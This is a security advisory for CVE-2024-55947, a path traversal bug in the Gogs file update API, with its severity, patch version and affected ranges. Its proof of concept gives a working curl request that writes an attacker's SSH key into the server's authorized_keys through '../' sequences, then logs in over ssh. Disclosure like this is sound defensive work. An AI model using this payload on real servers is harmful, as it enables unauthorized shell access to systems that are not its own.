GHSA-qf5v-rp47-55gg

Source

https://github.com/advisories/GHSA-qf5v-rp47-55gg

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-qf5v-rp47-55gg/GHSA-qf5v-rp47-55gg.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-qf5v-rp47-55gg

Aliases

CVE-2024-55947

Published

2024-12-23T17:53:16Z

Modified

2024-12-23T20:54:48Z

Severity

8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator

Summary

Path Traversal in file update API in gogs

Details

Impact

The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.

Patches

Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

Generate a Personal Access Tokens

Edit any file on the server with this

curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
-H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
-H "Content-Type: application/json" \
--data '{
  "message": "an",
  "content": "&lt;base64encoded: your ssh pub key>"
}'

ssh connect to remote server
```
ssh -i temp git@localhost -p 10022
```

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Database specific

{
    "nvd_published_at": "2024-12-23T16:15:07Z",
    "cwe_ids": [
        "CWE-22"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-23T17:53:16Z"
}

References

Affected packages

Go / gogs.io/gogs

Package

Name: gogs.io/gogs; View open source insights on deps.dev
Purl: pkg:golang/gogs.io/gogs

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

0.13.1